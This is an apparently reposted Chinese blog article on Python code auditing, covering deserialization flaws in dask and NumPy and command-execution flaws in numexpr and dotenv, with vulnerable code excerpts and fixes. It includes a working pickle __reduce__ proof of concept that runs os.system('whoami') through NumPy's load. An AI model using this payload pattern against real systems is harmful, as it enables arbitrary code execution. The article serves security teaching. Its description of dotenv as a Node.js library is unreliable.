Python代码审计实战案例总结之反序列化和命令执行

一、介绍

Python代码审计方法多种多样,但是总而言之是根据前人思路的迁移融合扩展而形成。目前Python代码审计思路,呈现分散和多样的趋势。Python微薄研发经验以及结合实际遇到的思路和技巧进行总结,以便于朋友们的学习和参考。

二、反序列化审计实战

反序列化漏洞在Python代码审计中属于常见高危漏洞之一,它的危害性根据执行环境略有不同,本地和远程分别为7.2和10的评分。通过评分也可得知漏洞危害是显而易见。那么咱们应该如何发现这个漏洞?关于发现此种漏洞要从反序列化的模块说起,Python的反序列化模块主要为pickle、cPickle、yaml等等。有关反序列化漏洞问题在多年前就被人们所发现,目前所看到的大多数反序列化漏洞是由于应用调用了存在问题的反序列化模块。那么咱们抓住寻找反序列化模块则有可能会发现反序列化漏洞。

1. dask 命令执行漏洞(CNVD-2019-16789)

关于这个漏洞是笔者在2019年审计anaconda环境模块时候发现,提交CNVD通过验证,虽然是本地触发漏洞,但绝对是关于反序列化漏洞很好的案例,漏洞利用yaml模块问题进行反序列化。

(1) 漏洞分析

漏洞影响的版本 1.1.4 ,漏洞出现于dask模块中config.py文件,第139行。源于程序通过coolect_yaml方法中使用了yaml所导致的问题,方法用途从yaml文件收集配置。

其中第148行会判断是否为目录,传入文件就能继续执行。漏洞触发在第168行,使用了yaml.load执行了反序列化。

到此咱们通过POC触发存在反序列化的方法,即可造成代码执行问题。

(2) 漏洞POC

漏洞验证截图:

(3) 修复方法

yaml 在对于反序列化问题上,已经提供了安全反序列化的解决方法,程序使用yaml.safe_load可以进行安全的反序列化。咱们对于审计问题的修复建议根据实际情况使用。

2. NumPy 命令执行漏洞(CVE-2019-6446)

在NumPy 1.16.0版本之前存在反序列化命令执行漏洞,用户加载恶意的数据源造成代码执行。按照惯例在讲这个反序列化之前要说明Python的pickle的反序列化原理和栈指令。但不是本篇重点,故暂不讨论。

(1) 漏洞分析

咱们直接从代码层说起,漏洞的入口,lib/npyio.py 第288行附近。在这里存在使用反序列化模块的方法,并且allow_pickle值为True。allow_pickle 允许使用 Python pickles 保存对象数组,Python 中的 pickle 用于在保存到磁盘文件或从磁盘文件读取之前,对对象进行序列化和反序列化。通俗讲是个开关,并默认开启。

漏洞触发位置,位置在lib/npyio.py,第418行。这里有反序列化加载的方法。笔者将一些代码省略,直观看重点。默认格式要求ZIP文件前缀PK\x03\x04后缀PK\x05\x06,如果不满足默认的格式,则会执行pickle.load()反序列化方法。

到此执行流程为 NumPy.lib.npyio.py:load()=>pickle.py:load()。

  1. try: 
  2.     # Code to distinguish from NumPy binary files and pickles. 
  3.     _ZIP_PREFIX = b'PK\x03\x04' 
  4.     _ZIP_SUFFIX = b'PK\x05\x06' # empty zip files start with this 
  5.     ……  
  6.     if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): 
  7.     …… 
  8.     elif magic == format.MAGIC_PREFIX: 
  9.     …… 
  10.     else: 
  11.         # Try a pickle 
  12.         if not allow_pickle: 
  13.             raise ValueError("Cannot load file containing pickled data " 
  14.                              "when allow_pickle=False") 
  15.         try: 
  16.             return pickle.load(fid, **pickle_kwargs) 
  17.         except Exception: 
  18.             raise IOError( 
  19.                 "Failed to interpret file %s as a pickle" % repr(file)) 
  20. finally: 
  21.      …… 

(2) 漏洞POC

综上所述,编写POC如下:

  1. from numpy.lib import npyio 
  2. from numpy import __version__ 
  3. print(__version__) 
  4. import os 
  5. import pickle 
  6. class Test(object): 
  7.     def __init__(self): 
  8.         self.a = 1 
  9.     def __reduce__(self): 
  10.         return (os.system,('whoami',)) 
  11. tmpdaa = Test() 
  12. with open("test-file.pickle",'wb') as f: 
  13.     pickle.dump(tmpdaa,f) 
  14. npyio.load("test-file.pickle") 

测试结果如图:

三、命令执行审计实战

在Python模块中命令执行漏洞同样较为常见、危害较大。在审计命令执行时,大多时候程序可能会在满足特定条件下才能执行命令,也可能需要在不同的系统中才会执行命令,所以需要关注代码逻辑和某些特性。

1. numexpr 命令执行漏洞(CNVD-2019-17298)

Numexpr是机器学习模块NumPy的一个加速包,主要用于提高NumPy的性能。

(1) 漏洞分析

在该模块/numexpr/cpuinfo.py 第37行,存在执行命令的方法。

getoutput 就是存在问题的方法,通过逻辑在.popen中进行命令执行,但是由于os.WIFEXITED(status)和os.WEXITSTATUS(status)只在linux下支持所以在windows下面执行会报错。linux 下当status 为全局变量并且赋值为0的时候,os.WIFEXITED(status)结果为True,os.WEXITSTATUS(status)结果为0。根据代码逻辑:if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:所以successful_status =(True,0),并通过形参传入,最终导致命令执行问题。

(2) 漏洞POC

漏洞POC和执行结果:

2. dotenv 命令执行漏洞(CNVD-2019-17299)

dotenv是一个使Node.js从文件中加载环境变量的库。

(1) 漏洞分析

漏洞存在于dotenv 0.10.1版本中的main.py文件之中,第317行,可见该方法形参传入命令和环境变量。但是由于未对可用命令进行过滤导致任意命令执行问题。

(2) 漏洞POC

漏洞POC和执行结果:

总结

通过以上案例和总结,相信咱们能够进一步提高Python审计的功力。这些漏洞在Python审计中比较典型,如果在文章中哪里存在疏忽,盼斧正。

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/148504.html<

(0)
管理的头像管理
上一篇2025-03-12 04:39
下一篇 2025-03-12 04:41

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注